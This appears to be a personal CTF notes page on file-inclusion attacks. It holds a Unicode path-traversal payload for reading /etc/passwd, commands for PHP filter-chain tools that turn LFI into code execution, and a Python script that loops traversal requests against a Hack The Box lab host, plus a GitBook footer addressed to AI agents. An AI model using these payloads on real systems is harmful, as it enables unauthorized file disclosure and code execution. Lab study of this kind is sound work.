> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/ctf-notes/appsec/lfi-rfi.md).

# LFI-RFI

## **Resources**

* <https://0xffsec.com/handbook/web-applications/file-inclusion-and-path-traversal/#at-a-glance>
* <https://www.youtube.com/watch?v=csWTuEdL_KM>

### **Unicode**

```
# u+FE30
︰/︰/︰/︰/︰/︰/︰/etc/passwd
```

## LFI 2 RCE

### PHP Filter Chain

```
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
```

### PHP Suffix | Prefix Needed

WrapWrap generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.

```
git clone https://github.com/ambionics/wrapwrap
cd wrapwrap
# ten is a dependency
git clone https://github.com/cfreal/ten
cd ten
pip3 install .
python3 wrapwrap.py /flag.txt '504e47' '' 1000
```

## LFI-Reader

```
import requests
import readline
from rich.console import Console

cinput = Console()

while True:
    try:
        readline.parse_and_bind("tab: complete")
        readline.write_history_file(".history")
        file = cinput.input("[bold green](File)>> [/bold green]")
        burp0_url = f"http://inject.htb:8080/show_image?img=../../../../../..{file}"
        burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://inject.htb:8080/upload", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        req = requests.get(burp0_url, headers=burp0_headers)
        print(req.text)
    except Exception as e:
        print(e)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://zeyad-abulaban.gitbook.io/notes/ctf-notes/appsec/lfi-rfi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
